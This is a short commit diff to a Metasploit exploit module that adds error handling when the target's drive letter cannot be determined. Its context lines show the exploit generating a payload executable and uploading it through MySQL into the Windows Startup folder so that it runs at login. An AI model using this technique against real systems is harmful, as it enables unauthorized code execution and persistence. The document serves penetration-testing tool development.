Adds error handling for drive letter enumeration

Author: veritysr

modules/exploits/windows/mysql/mysql_start_up.rb

@@ -105,10 +105,18 @@ def exploit
       return
     end
 
-    drive    = get_drive_letter
+    begin
+      drive = get_drive_letter
+      return if not drive
+    rescue RbMysql::ParseError
+      print_error("Could not determine drive name")
+      return
+    end
+
     exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
     dest     = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
     exe      = generate_payload_exe
+
     print_status("#{peer} - Uploading to '#{dest}'")
     begin
       upload_file(exe, dest)